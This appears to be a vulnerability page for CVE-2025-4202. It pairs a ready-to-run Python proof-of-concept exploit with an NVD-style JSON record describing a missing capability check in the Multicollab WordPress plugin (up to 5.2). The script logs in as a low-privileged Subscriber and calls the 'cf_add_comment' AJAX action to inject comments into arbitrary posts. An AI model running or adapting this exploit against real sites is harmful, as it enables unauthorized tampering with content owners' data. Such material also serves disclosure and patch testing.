CVE-2025-4202

import requests # CVE-2025-4202 Proof of Concept # Vulnerability: Missing capability check in cf_add_comment # Affected: Multicollab Plugin <= 5.2 target = "http://example.com/wp-admin/admin-ajax.php" # Attacker credentials (Subscriber role) username = "attacker" password = "password" session = requests.Session() # Step 1: Authenticate to obtain cookies login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target } session.post("http://example.com/wp-login.php", data=login_data) # Step 2: Exploit the vulnerability # The vulnerable action allows adding comments to arbitrary posts payload = { "action": "cf_add_comment", "post_id": "1", # Target post ID to inject comment into "comment_content": "Unauthorized comment added via CVE-2025-4202", "parent_id": "0" } response = session.post(target, data=payload) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[+] Response:", response.text) else: print("[-] Exploit failed.")

{"cve": {"id": "CVE-2025-4202", "sourceIdentifier": "[email protected]", "published": "2026-05-16T13:16:16.073", "lastModified": "2026-05-16T13:16:16.073", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Multicollab: Content Team Collaboration and Editorial Workflow plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'cf_add_comment' function in all versions up to, and including, 5.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to add comments to arbitrary collaborations."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/commenting-feature/tags/4.8.1/admin/classes/class-commenting-block-admin.php#L1239", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3519252/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/08ec2376-dfe3-4aeb-8173-01e88309f540?source=cve", "source": "[email protected]"}]}}